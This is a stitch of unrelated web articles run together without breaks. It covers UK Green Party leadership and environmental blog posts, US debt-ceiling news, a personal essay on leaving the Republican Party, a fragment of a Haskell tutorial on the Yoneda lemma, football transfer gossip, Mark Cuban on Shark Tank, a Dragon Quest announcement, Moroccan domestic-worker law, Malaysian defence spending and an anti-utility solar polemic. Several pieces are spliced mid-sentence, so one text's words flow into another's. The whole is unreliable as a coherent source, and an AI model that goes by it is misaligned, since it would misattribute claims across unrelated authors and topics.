Perversely, because we didn’t used to have one, we Greens have a long history of talking about what a leader is for. One of those roles – the role we used to have – is principal speaker: the person who goes on telly and says things to the public. This is a crucial role. But the truth is that Caroline will keep it whatever – she is our only MP, and by far our most prominent face. The media really won’t give a damn that she isn’t formally leader. Of course, relinquishing the role means that someone else can get a little more face time – that we can make it clear publicly that we are more than a one woman band. But that effect will surely be limited, and it isn’t really why this is a good move.
Nope, the real reason why this is a good move is that leadership is about more than being the person who goes on the telly. It is about leading. And more than ever, the party needs leadership right now. For ten years at least, we have had a simple strategic goal as a national party – elect an MP. Now we’ve done that, we need rapidly to work out what the next big goal is. We also need to navigate the political tsunami we are amidst – the collapse of the economy and distrust of the older parties present huge opportunities for Greens, and whilst we are beginning to take advantage of them, we need someone who can keep their eye on this ball full time.
Caroline is an excellent MP. She is an excellent spokeswoman. The strategy the party has followed in the last couple of years has essentially been the right one – we are the party of the anti-cuts movement, the party that opposes NHS privatisation, the only English parliamentary party left on the left. But as a new MP with quite such an astonishing day to day schedule, she really hasn’t had much time to lead – or, perhaps, facilitate – her party.
Standing aside as leader gives someone else the space to do this. Who, we don’t yet know – though Adrian Ramsay (no relation) is surely the frontrunner. The character doesn’t matter hugely – they will have to be able to bring the party with them – to build consensus around a forward plan, but they won’t really be the front person most of the time.
What will matter will be what their plan for the party is. They will need to be clear that they are left wing: in tough economic times, as the mega-rich screw everyone else for more than ever, it is no longer acceptable to pretend that we don’t take sides. They will need to be clear that we cannot simply be another party of centralised bureaucracy: across the planet, the successful 21st century parties of the left are the parties of movements, not just of slick media. And they will need to be ambitious: a handful more councillors each year is not enough either to maintain the momentum a small party requires, or to secure the justice we exist to secure.
It’s a few months until the final results, and I’m sure there’ll be a good debate. But, in the mean time, thanks to Caroline for her time as leader, and good work for creating space for someone to help corral the party to higher pastures.
Green Party
Caroline Lucas to step down as Green leader
Caroline Lucas will not run for a third time when her current two-year term as Leader of the Green Party of England and Wales ends in September. Her decision was announced in a press release on the Green Party website, and she discusses it in an exclusive interview in tomorrow’s Independent.
Caroline served as Female Principal Speaker of the party from 2001-2006, when she was succeeded by London Mayoral candidate Siân Berry. Caroline returned to the office in 2007. In 2008, when the Principal Speaker system was abolished, Caroline became the party’s first ever Leader.
Caroline’s leadership has seen her elected as the first Green MP, Greens take control of their first council (Brighton and Hove which includes Caroline’s Brighton Pavilion Constituency), and overtake the Lib Dems to become London’s third party.
In the party’s statement, Caroline said:
I look forward to continuing to do all I can in my very demanding role as the MP for Brighton Pavilion, representing my constituents and defending them against the Coalition Government’s disastrous economic policies and its refusal to accept its environmental and social responsibilities. I will also be able to dedicate even more of my work to the political frontline, putting the Green case for change in Parliament and in all circles of national political debate.
After a long period of focus on making a beachhead in Parliament ended in success two years ago, the new leader will be charged with shaping the party’s next goals and delivering on them, including expanding European representation beyond the South-East and London in 2014, and capitalising on Caroline’s victory to add more Green MPs in 2015.
Who would you like to see run to succeed Caroline? What should be the priorities for the new leader? Is it time for our first team of Co-Leaders? Please comment below.
Environment
On environmental colonialism, the Amazon, and Scottish beavers
When people ask me about my political background, I often talk about my parents. I explain that, though they aren’t nearly as far left as me, they brought me up to have an interest in politics, and to care particularly about the environment.
There’s one particular lesson they taught me which, in retrospect, makes me pretty proud of them. For all of my life, my dad has worked in various ways on restoring Scotland to some kind of natural state – though he’d be the first to accept that what that means is complex. When I was 5 he stopped being a shepherd and wrote a book about this passion – Revival of the Land. It outlines what happens when deer are culled in the Highlands in a way which mimics the behaviour of the wolves who for thousands of years hunted on the hills I grew up on. The answer is that thick forests grow back – the wet desert of the Scottish Highlands reverts to the temporal – or, in some places, near boreal – woodlands of its past.
A decade later, he reintroduced beavers to the land he had once farmed. Beavers were wiped out four-hundred years ago in Scotland, and they are crucial, not just because they are a significant mamal who lived here until people trapped them to extinction for their fur; but because they are what ecologists call a keystone species. Once upon a time, much of Britain was effectively covered by temporal rainforest – by wetlands. Our ancestors cut down the trees and drained the marshes. And they wiped out the architects of these wetlands – the beavers whose dams had for thousands of years maintained these crucial habitats. I often watched him explain to people why he did these things: “beavers are key to our habitat” he would tell them “the wetlands of the UK are our rainforest, and it is beavers who built them”. “They were here before and they have a right to be here”. And, for me, crucially: “what right do we have to tell people in Brazil not to cut down their rainforest as long as we refuse to restore ours?”.
And for me, that’s the point. As rich white Westerners, we are very keen on going round the world telling people what to do. Of course we should oppose the destruction of the Amazon – apart from anything else, the indigeonous Amazonians demand it, as do many Latin American environmental activists. Where they ask for our support, it must surely be forthcoming.
Just as I learn from my dad, I learn from my girlfriend. She’s been teaching me recently about colonial feminism – the habit many liberals have of casting the complex problems of oppression of women as ‘white women saving brown women from brown men‘. The environmental movement has got better and better at understanding climate change as a justice issue. We have got better and better at working with those suffering most as a result of the most disastrous extraction projects – whether the people of the Niger Delta, or First Nation Canadians in tar sands rich Alberta. But we still sometimes verge on the same habits… as long as we are willing to be presented as white people saving indigeonous peoples’ forests from brown loggers, we have a problem – especially if we are not wiling to first address the total destruction of our own rainforests. We will not only have no leg to stand on. We will fail.
Westminster
Miliband kicks nurses and unemployed young people
Friday was Ed Miliband’s day. Labour’s rise in the local elections revived his leadership and gave him a chance once more to articulate his message without the media sniping at his heals. Such opportunities are rare for party leaders – the space to say what they want to say, the time to craft a message, and the chance to choose a platform from which to deliver it.
The rarity of such moments means that it is a good time to judge a leader, a good time to see where they are actually leading up to, not just the bunkers they are forced to duck into. Most days, they are responding to some crisis or other, to the daily news cycle. With the coalition government, policy disagreements between Lib Dems and Tories are much more interesting to journos than what a hypothetical Labour government might do, so Labour struggle even more than the average opposition party to get simple front and centre coverage of their policy announcements. But after the local elections, before the next big crisis – this was Miliband’s chance to pounce – his chance to inspire the country with his bold vision. So, what did ‘red Ed’ do with his big day?
He went to Essex to slag off NHS workers and unemployed young people. Specifically, he called on any NHS workers who pull a sicky to be sacked, and called on young people to work harder to find jobs which don’t exist. If I was trying to think of the two least helpful media narratives he could perpetuate, they might well be inefficiency in the NHS, and laziness of young people who can’t find work…
After a local election in which the Tories were punished – in no small part because of dismantling the NHS and because of youth unemployment, this is perhaps extraordinary. Rather than articulating the case for the welfare state, and the case for job creation, for investment, Miliband took his big chance and decided to use it to put the boot into some of the people in Britain hit hardest by this Tory government.
In other news, on the 30th of April, 100,000 sick people lost benefits worth nearly £100 a week. Does Mr Miliband think that they are all faking it too? If not, it seems Ed is more interested in kicking those who are down than he is in helping people up.
Uncut
UK Uncut’s ‘Great British Street Party’: kitsch nationalism?
As if last year had not been enough, 2012 is to be awash with examples of pomp and pageantry; from the Queen’s jubilee celebrations to the Olympics and Paralympics – as well as the run up to these events. Britain is to celebrate itself and its achievements all year round and will certainly not be reserved about it. However, in reality, there is little to celebrate: government plans to sail the National Health Service towards privatisation have been signed off by parliament, welfare caps and cuts to disability benefits have begun to take effect, the criminalisation of squatting has passed into law and will soon mean many homeless find their attempts to find shelter criminalised, unemployment has continued to rise and is currently at 2.67 million and the economy may well be back in recession.
So perhaps then UK Uncut are trying to highlight the absurdity of this juxtaposed celebration and deprivation through their latest action ‘Great British Street Parties’, which appeals to the aesthetic and mode of celebration of 1948 – the year the NHS, welfare and even generalised squatting became realities for Britain. Here it seems UK Uncut seeks to draw attention to all that we are losing through this government’s efforts, or perhaps more accurately: that the working class is losing the very concessions they fought and won after World War II. But of course, this is in itself a fallacy. Claims that the working class fought for and won these basic provisions is historically not the case at all; there was no homogenous Labour movement that coordinated industrial action even close to that seen in 1926 and whilst many were just back from war, there was no risk to the ruling elites of a violent uprising.
Instead the reality facing the Beveridge government was a class that suffered greatly from illness with no ability to pay for care – apart from the occasional availability of voluntary hospitals – and thus not able to fill the jobs needed to get the British economy growing. In fact, plans to universalise the war-time emergency hospital service after its demobilisation had been in place since 1944. Similarly, plans for the beginnings of welfare provision as we understand it today were first drawn up in the Beveridge report of 1942, which along with eliminating ‘Disease’ and ‘Want’, also set its eyes on ‘Idleness’. So we see that rather than being a victory of the working class, a welfare state was a gift given to them in order to keep Britain working.
Admittedly, UK Uncut are not celebrating the achievements of that year in particular, just what the future looked like in 1948 compared to the bleak future we face now. But with the benefit of hindsight we understand that whilst welfare may have been positive in improving material conditions for the working class right up until the present day, it has also played its role against them ensuring that capitalism stayed unthreatened and arguably pacified any meaningful resistance, allowing for the inevitable destruction of welfare institutions now in 2012. The future may have looked good in 1948, but we now know otherwise.
The historical inaccuracy of what UK Uncut is proposing isn’t the most concerning part of this action however, but rather the appeal to a nationalist aesthetic. Shows of pageantry and calls to celebrate ‘Great Britain’ at events such as the Diamond Jubilee or Olympics are often thinly veiled attempts to supplant solidarity of a dissenting nature with one based around a blind allegiance to the nation. For example, it is entirely convenient for the coalition government to utilize the Olympics to label the bosses of unions – and by extension union members themselves – as ‘unpatriotic’ for threatening industrial action. This is unsurprising as both right-wing and nominally left-wing governments often appeal to patriotism to stifle dissent, but that UK Uncut seems to have joined in with mainstream politics’ nationalist consensus is highly concerning.
This is perhaps most evident when you consider the ‘all in this together’ mantra used since the global financial crisis to foster a sense of homogeneity and getting on with things as we supposedly move towards recovery. UK Uncut and its activists originally set out to illustrate precisely that we are not ‘all in this together’ at the current moment, but now seem to suggest in the call-out for their latest national day of action that “Britain back then really was ‘all in this together’”. This falsely hints towards the existence of a golden era where capitalism worked; falsely, because in reality this never existed – it is but a national myth. Beyond this however and apart from the hopefully obvious factors of gender, race and sexuality that would mean exclusion from any notion of ‘together’ at all, let alone in 1948, the mantra is no truer of then than now: whilst a Keynesian economics prevailed in the post-war period, the working class were clearly, as always, the exploited class.
UK Uncut finishes their call-out by suggesting “The future’s not what it used to be – let’s get it back”, but we have already surpassed much of the wildest and most dystopian ideas in George Orwell’s Nineteen Eighty-Four of what a future may look like. This, incidentally, was written in 1948, the year we are supposed to believe gave the British so much to look forward to. In reality, 1948 played its historical role in getting us to where we are now. This is something no amount of nostalgia and kitsch nationalism will change, but when we have so much to fight for why would we look back anyway? The criticism of UK Uncut’s ‘Great British Street Parties’ is not that it is activism in the guise celebration, but that it is celebration in the guise of nationalism, supported by a fictitious history. This can be all too tempting as a form of popular activism, but in reality is dangerous and simply plays into the hands of exactly what we seek to oppose.
Wail Qasim is a London student of Politics and Philosophy at Royal Holloway, University of London. He blogs at isthisday.com
keep looking »After waiting 2 1/2 years, a Detroit teenager is getting the hormones needed and her mom surprised her with the estrogen in a video that's been picked up by Buzzfeed and is spreading across the internet.
The video was posted on Friday to YouTube. It was written and posted on Buzzfeed on Monday and immediately saw a spike in views with almost 1.5 million people tuning in to see the amazing reaction.
The video caption on YouTube said that her daughter has been waiting for the go-ahead from her doctor for more than two years. On Friday, she wrote that her teen finally got the estrogen and the go-ahead from doctors.
She then surprised the teen with medicine and recorded it so she could post it to YouTube. The almost one minute long video shows only the teen. Mom is holding the phone and instructing her daughter to reach behind the sofa cushion, open the plastic bag, and see what her mom had for her: the estrogen she's been waiting for.
She told Buzzfeed that it was "the most pivotal turning point in her life, and we both knew it." She also said that if there is any negative backlash, it would be worth it to help even on child.Mr. Cornyn, a member of the Senate leadership, also said that Republicans would be open to a short-term deal on the debt ceiling to provide more time for a comprehensive agreement.
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“The problem with a minideal is we have a maxi-problem,” he said. “And the big problems aren’t going to go away if you cut a minideal. All it does is delay the moment of truth. And so I’d say better now than then. But if we can’t, then we’ll take the savings we can get now, and we will relitigate this as we get closer to the election.”
The White House had no comment on the senators’ remarks.
Last week, President Obama harshly criticized Republicans lawmakers for refusing to eliminate tax breaks like those for private jet owners, hedge fund managers, multinational oil companies and ethanol producers. He argued that eliminating such loopholes could save billions of dollars and help fix the short-term federal deficit and long-term national debt.
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The administration and Congressional negotiators are racing to find a deal to raise the federal debt ceiling of $14.3 trillion by Aug. 2, when the Treasury Department says the United States will exhaust its ability to borrow money and could default on some obligations. A bargain must be struck at least a week before then to provide time for a Congressional Budget Office analysis and for both chambers to vote on it.
Mr. McCain said Sunday that closing the tax breaks that Mr. Obama mentioned would have a negligible impact on the nation’s fiscal condition and would defy the will of the voters.
“The principle of not raising taxes is something that we campaigned on last November, and the result of the election was that the American people didn’t want their taxes raised and they wanted us to cut spending,” he said on the CNN program “State of the Union.”
He added that his fellow Republican senator from Arizona, Jon Kyl, a member of the budget negotiating team, had said there were certain measures that Republicans would consider, and that he was open to them. He refused to name any.
Mr. Kyl said he would be willing to consider some increases to help bring down the deficit. “We’re perfectly willing to consider those kinds of issues in the context of tax reform, which we would very much like to do,” Mr. Kyl said last week on “Fox News Sunday.” “But we’re not going to have the time to do it or be able to do it in order just to raise revenue as part of the exercise, which should be about reducing spending.”Pixabay Images
This was not an easy decision to make. Politics is like one's religion, you just don't change it unless you have a moment of clarity and realize you are on the wrong path. My family's involvement in the GOP goes all the way back to the mid-1850s and the start of the GOP in Illinois.
My Mother's family helped organize the GOP in Illinois. They were opposed to one human being owning another human being as chattel. They found slavery morally repugnant and were zealots in advocating its demise. My family has been GOP blue-blood.
That is how far back my roots run in the GOP. I have no roots in the Democratic Party. However, it is time for me to lay some down.
There are things I don't like about the Democratic Party. There are people in the Democratic Party I dislike as much as I dislike Donald Trump. So, why not remain an independent? There is a good reason for that.
In America, if you want to bring about change, if you want to be an agent of change and not a voice in the wilderness you must belong to one of one of the two political parties. I was a party faithful for the GOP. I often turned my nose up and voted for the GOP nominee no matter what. Some were good men and women, in fact, outstanding men and women. Others were as dumb as a rock and were still fighting the Civil War. I voted for them anyway.
Donald Trump and Bruce Rauner are the two men who drove this decision for me. They are twins. Rauner is Trump in a more presentable form. He is careful to not give to Trump, or mention his name because he knows it is the kiss of death in Illinois to support Trump. Bruce Rauner betrayed me. I worked to help elect him in 2014 and he lied to me. He is as corrupt as any Governor we have ever had.
Trump loves to attack his critics and is particularly harsh on Republicans who don't kiss his ring. Have you noticed that Trump has not skewered Rauner for his lack of PUBLIC support for Trump? Curious, don't you think? He will criticize Chicago, he will criticize the Mayor, he will beat up on everyone except two in Illinois: Fellow billionaire and ideological twin Bruce Rauner, and Speaker Mike Madigan. Why Madigan? You might want to look at whose law firm handles tax matters for Trump Tower in Chicago.
Why I left the GOP:
Hate and paranoia have become an ideological principle in the GOP. The common view is the poor are thieves and stealing taxpayer's money. They point to social programs as having failed to end poverty. Social programs are not designed to end poverty. They are designed to keep you alive while an individual tries to find another pathway in life.
They hate education. Their steadfast crusade to end public education, to deny it money is an attack on our future. I went to public schools, including a public university. I received a good education, from dedicated teachers and professors. That should be preserved and not torn to shreds.
They are trade protectionists and isolationists. This is the final betrayal of Ronald Reagan.
They blame the victims. In fact, they have a false victimhood that they are actually the victims of the poor. They point to a mother on food stamps with an iPhone in her hand as "evidence" of theft. Did they ever stop to think that maybe a family member in better circumstances gave her that iPhone?
With competition, which the GOP claims is a very conservative idea, the prices on smartphones have dropped dramatically along with the cost of service. Why shouldn't a poor person have access to the rest of the world? Their view that I've read a hundred times if I have read it once. The resentment of the poor only continues the poverty and despair of |
a closure.
-- Put the a in the box. box :: a -> Box a box a f = f a
For example, box True. Partial application is just a clever way to create closures!
Now, is the coin heads or tails? Since I, the box user, am allowed to choose b, I can choose Bool and pass in a function Bool -> Bool. If I choose id :: Bool -> Bool then the question is: will the box spit out the value it contains? The answer is that the box will either spit out the value it contains or it will spit out nonsense (a bottom value like undefined ). In other words, if you get an answer then that answer must be correct.
-- Get the a out of the box. unbox :: Box a -> a unbox f = f id
Because we can't generate arbitrary values in Haskell, the only sensical thing the box can do is apply the given function to the value it is hiding. This is a consequence of parametric polymorphism, also known as parametricity.
Now, to show that Box a is isomorphic to a, we need to prove two things about boxing and unboxing. We need to prove that you get out what you put in and that you can put in what you get out.
unbox. box = id box. unbox = id
I'll do the first one and leave the second as an exercise for the reader.
unbox. box = {- definition of (.) -} \b -> unbox (box b) = {- definition of unbox and (f a) b = f a b -} \b -> box b id = {- definition of box -} \b -> id b = {- definition of id -} \b -> b = {- definition of id, backwards -} id
(If these proofs seem rather trivial, that's because all (total) polymorphic functions in Haskell are natural transformations and what we're proving here is naturality. Parametricity once again provides us with theorems for low, low prices!)
As an aside and another exercise for the reader, why can't I actually define rebox with (.)?
rebox = box. unbox
Why do I have to inline the definition of (.) myself like some sort of cave person?
rebox :: Box a -> Box a rebox f = box (unbox f)
(Hint: what are the types of box, unbox, and (.)?)
Identity and Codensity and Yoneda, Oh My!
Now, how can we generalize Box? luqui uses Codensity: both b s are generalized by an arbitrary type constructor which we will call f. This is the Codensity transform of f a.
type CodenseBox f a = forall b. (a -> f b) -> f b
If we fix f ~ Identity then we get back Box. However, there's another option: we can hit only the return type with f :
type YonedaBox f a = forall b. (a -> b) -> f b
(I've sort of given away the game here with this name but we'll come back to that.) We can also fix f ~ Identity here to recover Box, but we let the box user pass in a normal function rather than a Kleisli arrow. To understand what we're generalizing, let's look again at the definition of box :
box a f = f a
Well, this is just flip ($), isn't it? And it turns out that our other two boxes are built by generalizing ($) : CodenseBox is a partially applied, flipped monadic bind and YonedaBox is a partially applied flip fmap. (This also explains why Codensity f is a Monad and Yoneda f is a Functor for any choice of f : The only way to create one is by closing over a bind or fmap, respectively.) Furthermore, both of these esoteric category theory concepts are really generalizations of a concept that is familiar to many working programmers: the CPS transform!
In other words, YonedaBox is the Yoneda Embedding and the properly abstracted box / unbox laws for YonedaBox are the proof of the Yoneda Lemma!
TL;DR:Manchester United have become favourites to sign Danny Ings after holding talks with Burnley about a summer deal.
Liverpool maintain an interest in the player and were prepared to exploit a Premier League loophole to guarantee a transfer in the summer. But Louis van Gaal is attempting to use the same method to trump their rivals and secure the services of the 22-year-old.
Ings has scored nine goals in his first season in the Premier League and United consider him to be a future England international.
Manchester United are favourites to sign Burnley striker Danny Ings this summer
Ings jokes with Arsenal forward Danny Welbeck during Burnley's 1-0 defeat at Turf Moor on Saturday
Van Gaal was particularly impressed by Ings’ performance against United at Old Trafford in February when he scored in Burnley’s 3-1 defeat.
Ings has become one of the most sought-after strikers in Europe and United are keen to ensure that they win the race for his signature. Real Sociedad, Tottenham and Manchester City are all interested in the player, but Sportsmail understands that United have opened dialogue with Burnley to hurry through a move.
The player is out of contract in the summer and due to his age Burnley would be set to receive around £5million in compensation if he moved to a domestic rival.
Ings impressed Louis van Gaal when he scored against United at Old Trafford in February
Ings has scored nine goals for Burnley in his first season in the Premier League
But, under Premier League Rule U8, an English team can agree a fee and sign a pre-contract with Ings and the club which guarantees a transfer in the summer.
Liverpool wanted to sign Ings in the January transfer window and loan him back to Burnley, but were prevented doing so by Premier League regulations.Screenshot from ABC's "Shark Tank"
During his South by Southwest keynote, Mark Cuban revealed some behind-the-scenes "Shark Tank" secrets.
"Shark Tank" airs every Friday night on ABC. Each week, entrepreneurs present their startups before a panel of judges, including Mark Cuban. The judges, or "sharks," can either decide to invest in the startup or pass.
Cuban revealed the secrets during an hour-long keynote. We recorded the conversation and pulled out the best quotes, organizing them into relevant topics.
Here's what Cuban had to say:
What a typical day filming 'Shark Tank' is like:
Mark Cuban: We get there in the morning. We go on stage at 8:00 which means I get there about 7:45. I rush my suit on. That gives them less time to do makeup and more time to screw up my hair.
They start bringing in the deals at about 8:15. We sit there, they set up the set-up thing that you see then the stage manager or producer basically says, “It’s [X-Person] and [Y-Person] and those are the two names.” Then they come in; we’re not allowed to use our phones or our tablets. You see us pick up whatever pads we have and pick up our pen and we start taking notes and they start pitching.
Is it real or staged?
MC: It’s all real. There’s nothing fixed and nothing staged. Literally those deals go from 30 minutes for just stupid-ass ones to 2.5 hours for some people.
How the sharks really react to pitches, both good and bad:
MC: The people who are true entrepreneurs, I want to be as supportive as I can. I want to protect them against Kevin [O'Leary].
...There are some gold diggers, which is someone who’s just doing it for the PR and they have no intention of doing a deal. You can tell because [in one case], they had $600,000 in sales and they wanted $100,000 for 1% — some amount that doesn’t reflect the valuation.
...I love the scams. “With these life pills you can go 8 days without eating.” Obviously [ABC] edits [the pitch] so it goes down from 2.5 hours down to a half-hour down to 8 to 14 minutes. And so knowing it’s going to be edited, I’ll rail into them and say like, “F*ck you, there’s NO WAY…” I love to mess with them.
Do the Sharks/judges all get along?
MC: We all get along but when you’re there from 8:00 in the morning until whenever we finish, and there’s 8, 10, 12 deals coming through and you’re shooting 8—9 hour days, just like any family you get annoyed as all get-up.
We all have our ways of doing things. I’ll try to give [entrepreneurs] advice and this and that, Lori [Greiner] wants to tell a story about how when she had nothing and this and that, Robert [Herjavec] wants to talk about his family being from Croatia…and all the other Sharks, their minds are everywhere else and I just can’t help but have a reaction so that’s when they show me making these dumb-ass faces all the time.
What happens after the show, and how many deals actually close:
MC: We get the opportunity to do due diligence. 60—70% of my deals close.
In [one] case, it was from some tiny town in the state of Washington, there were four owners, but the husband of one of these owners thought it was unconstitutional to pay income tax. He had never filed his taxes ever. I’m like, "Ok so, it’s going to be on national TV, what do you think happens next? They’re not coming after you, they’re going to come after me."
Why Cuban loves "Shark Tank":
MC: The reason I love doing the show — and it’s a lot of work — it’s the #1 show on television watched by families. Everyday I have people coming up to me saying, “My son...” “My daughter...they love the show and we watch it together on Friday nights."
Every parent wants their child to live the American dream. Shark Tank reinforces the American dream is alive and well.
...The show is real, it’s our money, we get along, but it does get intense.
More From Business InsiderA New Dragon Quest Monsters Game Is In Production Says Square Enix [Update]
By Sato. August 4, 2014. 2:57am
This weekend, fans gathered for the Dragon Quest Summer Festival that was held at the AiiA Theater at Tokyo. After hours of Dragon Quest-themed festivities, Square Enix had one last surprise to announce for the attending fans during the event. (Thanks, Famitsu)
The Dragon Quest Summer Festival had all kinds of Dragon Quest items with various goods and even food items from Luida’s Cafe. They finished the event with a big Dragon Quest Monsters 2 tournament called the Great Masters’ GP.
At the end of the tournament, Taichi Inuzuka, producer of the Dragon Quest Monsters 2 remake and numerous other spin-off games of the series, announced that a new game is in production.
While there weren’t any details about the game or a title, Inuzuka said, “We’re working on a new Dragon Quest Monsters game, and its competitiveness will be as fun as always.”
Details on the new Dragon Quest Monsters game, including what platform it’ll be on, will be revealed in the near future.
[Update] Game Watch Impress also reported on the event, where they have an extra quote from Inuzuka who added, “Up until now, we’ve continued working on remakes, but this time it will be a completely new title. Please look forward to it.”
Note: the top image is from Dragon Quest Monters: Terry’s Wonderland 3D.“L’kheddama” (“The maid.”) That is how many Moroccan families refer to the domestic worker in their employ, whom they call by her first name. As for her last name, maybe the housewife remembers it, from the day she hired her and made a photocopy of her ID (you never know, in case she steals something...) Or maybe she doesn’t. Why would she remember the maid’s surname, after all? Nobody ever uses it.
Expand A young Moroccan girl performs during a play organised by the not-for-profit association Insaf in the western town of Chichaoua on June 12, 2014, during the World Day Against Child Labor. Child domestic workers – known locally as “petites bonnes” – told Human Rights Watch that their employers frequently beat and verbally abused them, wouldn’t let them go to school, and sometimes refused them adequate food. © 2014 Getty Images
The abuse against domestic workers in Morocco starts with profound discrimination: almost invisible to society. Until recently, they also didn’t exist in the eyes of the law. Excluded from the Moroccan Labor Code, these women, who are most often from the countryside and have little or no education, had no legal rights in terms of minimum wages, working hours, or even days off. Their employers could overwork or underpay them, and suffer no legal consequences.
But things will change now. On July 26, the Moroccan parliament passed a law that regulates domestic work in Morocco. The new law, which will enter into force one year after its publication, requires proper labor contracts for domestic workers, limits their daily working hours, guarantees days off and paid vacations, and sets a minimum wage. The law also provides financial penalties for employers who violate these provisions, and even prison sentences for repeat offenders.
As part of its research on child domestic workers – under age 18 — in Morocco in 2005 and 2012, Human Rights Watch gathered damning evidence. Some "petites bonnes” (“little maids”), as they are called in Morocco, stated that their employers frequently beat and insulted them, prevented them from going to school, and sometimes refused them adequate food. Some worked for 12 hours a day, 7 days a week, for no more than US$11 per month.
The new law sets 18 as the minimum age for domestic workers, with a phase-in period of five years during which 16 and 17-year old girls will be allowed to work. This last provision was strongly criticized by Insaf, a collective of Moroccan nongovernmental organizations that opposes child labor.
That is not the only debatable provision of the new law. Adult domestic workers must work 48 hours per week, while the Moroccan labor code provides for a maximum of 44 hours for other sectors. Another source of inequality is the minimum wage. The wage guaranteed for domestic workers is only 60 percent of the minimum guaranteed by the labor code. Some say that since many domestic workers live with their employers, the food and shelter they get is for a partial in-kind payment. But that is not enough to justify a 40 percent difference. The International Labour Organization (ILO) allows for in-kind payments, but specifies that such payments should be limited, to allow for a salary that guarantees a decent standard of living for the workers and their families. It is also worth noting that living at their workplace is rarely a choice for domestic workers, as such an arrangement mainly serves the employers’ interests.
Despite the limitations of the new law, however, it will provide legal protection for the first time to some of the country’s most vulnerable workers. This is a real success, for which we should congratulate the government and also—perhaps especially—Moroccan nongovernmental organizations that campaigned for this ground-breaking reform for many years.
Now that the law exists, the next challenge will be making sure it is carried out. For that purpose, the next government (elections are scheduled this fall) will have to establish enforcement mechanisms, in particular labor inspectors who will visit homes where domestic workers are employed. The government will also have to open a broad public awareness campaign, preferably on national television and in Moroccan Arabic – the language most likely to be understood by everyone concerned–so that employees will know their rights and employers they duties.
Enforcing this law will create a social shock wave in Morocco. After decades of quasi-forced servitude, hundreds of thousands of "kheddamat" will finally raise their heads and be recognized for what they are: citizens with rights.Malaysia’s defence procurement will slow down owing to budget cuts in defence sector, says a report by Strategic Defence Intelligence (SDI).
Titled "Future of the Malaysian Defense Industry – Market Attractiveness, Competitive Landscape and Forecasts to 2021" the report States that the Malaysian government has allocated $4.5bn for defence in 2016, a 2.6% decrease compared to last year. The defence budget has witnessed a negative compound annual growth rate (CAGR) of 0.33% over the last five years.
"The Malaysian government has allocated $4.5bn for defence in 2016, a 2.6% decrease compared to last year."
An average of 33.9% of the total defence budget has been allocated to the army from 2012 to 2016, whereas the average allocation over the next five years is estimated to be 33.5%. Revenue expenditure is to be centred on new recruitment, training and development programmes for troops.
Capital expenditure allocation is anticipated to increase to an average of 20.8% from 2017 to the 2021, compared to an average of 20.6% during the last five years.
The nation’s defence spending is primarily driven by the procurement of corvettes, multi-role aircraft and armoured vehicles. The procurement is anticipated to come down in the next two years due to the completion of certain acquisitions in 2016 and 2017.
Despite the slowdown in procurement, Malaysia’s defence imports and exports are anticipated to increase in the next five years as a result of the Ministry of Defence’s (MoD) modernisation and procurement efforts.
The Royal Malaysian Army expects to receive 8×8 APC vehicles and armoured fighting vehicles as part of the procurement plan.US electrical utilities are feeling pressure from distributed solar power and are proving that they will go to all ends to protect their monopoly positions. In Florida, the utilities are spending tens of millions of dollars to manipulate the electorate into voting for an amendment that limits solar power’s growth. In the last five years alone, the largest 25 utilities have spent more than $400 million on lobbying federal and state elections. This effort to control the political machine is worth trillions annually.
And now that we know 92% of people breathe unsafe air and more than 6 million a year die of it – that these utilities are slowing the transition to cleaner forms of energy means they are knowingly killing people.
If you’re considering solar, get a quote from multiple contractors at understandsolar.com. If you want feedback on the quote you get – either email me at john @ 9to5mac dot com or send a tweet.
First off, let us be very clear that in the United States the electricity industry has made great strides. Total CO2 emissions by the industry have fallen by 25% since 2008, while the total amount of electricity produced has stayed flat. So much work has been done that we’ve seen transportation pass the electric power sector in terms of total CO2 emissions. As well, we can hope for much more with the Clean Power Plan’s goal to cut carbon dioxide emissions from mostly coal-fired electric power plants by 32 percent below 2005 levels before 2030 (of course, 24 states are suing to not have to comply).
US CO2 emissions from transport exceeded those from power gen in the 12 months thru Feb 2016. First time since 1979. pic.twitter.com/noLi20P4Mp — Sam Ori (@samori8) June 6, 2016
However – this progression has mostly come as a result of a transition from coal to natural gas – a cost saving measure, not because the utilities have seen the light of green energy. In a now famous report, the electrical utilities described a ‘death spiral’ due to growing distributed solar power generation. The process would go like this:
Some customers would move to solar power and stop paying the electricity grid. This would leave fewer customers to pay for an expensive, static power grid. With fewer customers there would be higher prices. More customers would move to solar power now that electricity is more expensive and solar prices (plus storage) are falling. Repeat.
Of course, Warren Buffet called the spiral bullshit – but he added in a very specific caveat: this spiral is bullshit only for electricity companies that are in states where the markets are regulated, publicly approved monopolies – exactly where Buffet invests. Buffet in an investors letter:
The survival of a local electric company did not depend on its efficiency. In fact, a “sloppy” operation could do just fine financially. That’s because utilities were usually the sole supplier of a needed product and were allowed to price at a level that gave them a prescribed return upon the capital they employed. The joke in the industry was that a utility was the only business that would automatically earn more money by redecorating the boss’s office. And some CEOs ran things accordingly.
So what’s a utility to do if it cannot make money redecorating the boss’ office? First, Exxon will spend 40 years paying off climate deniers to confuse the public even after their own scientists said climate change was real and caused by humans burning fossil fuels. Then, the utilities will spend $400 million over the past five years to payoff politicians. A dollar amount that could have DOUBLED the total amount of solar power in the United States.
In 2015-2016 those utilities chose to continue their targeting of Florida. This long term effort has resulted in solar electricity making up less than one percent of the Sunshine State’s energy mix. With the second-highest electrical consumption in the country, the average Florida household spends 40 percent more than the national average on electricity. That electricity is generated from 84% fossil fuels. And now the power companies have bonded together, with their ‘political ju-jistu’, and collected greater than $21 million to manipulate the population into voting against their best interest on solar power. This Amendment was written specifically to create confusion and distract from a true change via a citizen sponsored amendment. Unfortunately, ‘Floridians for Solar Choice’ – a group aiming to increase what individual’s can do with their rooftop – wasn’t able to compete financially with the Koch brothers and the electricity utilities.
The lie underlying the logic of the flawed Florida amendment is that people who install solar power are somehow imposing a cost on non-solar power users in the network. Many studies have shown this not to be the case (1, 2, 3, 4, 5, 6, 7, 8, 9 – I could go on). Solar power lowers upgrades costs, lowers energy losses, lowers the need for highly inefficient and expensive natural gas peaker plants, produces energy in the highest cost windows – and that’s before we consider the fact that it doesn’t fill your lungs with air pollution. Reality is exactly the opposite of what the utilities want you to think:
The significant drop in the price of solar and wind generation costs, especially for solar PV installations, helped prevent cost inflation in electricity generation over the past five years, according to a newly published report by the International Energy Agency (IEA) and the Nuclear Energy Agency (NEA).
The electric utilities know exactly who it is getting a $5.3 trillion price break every single year. This happens because good ‘ol boy Florida corruption. And the Miami Herald has painted for us a beautiful play by play of how corruption is legislatively structured:
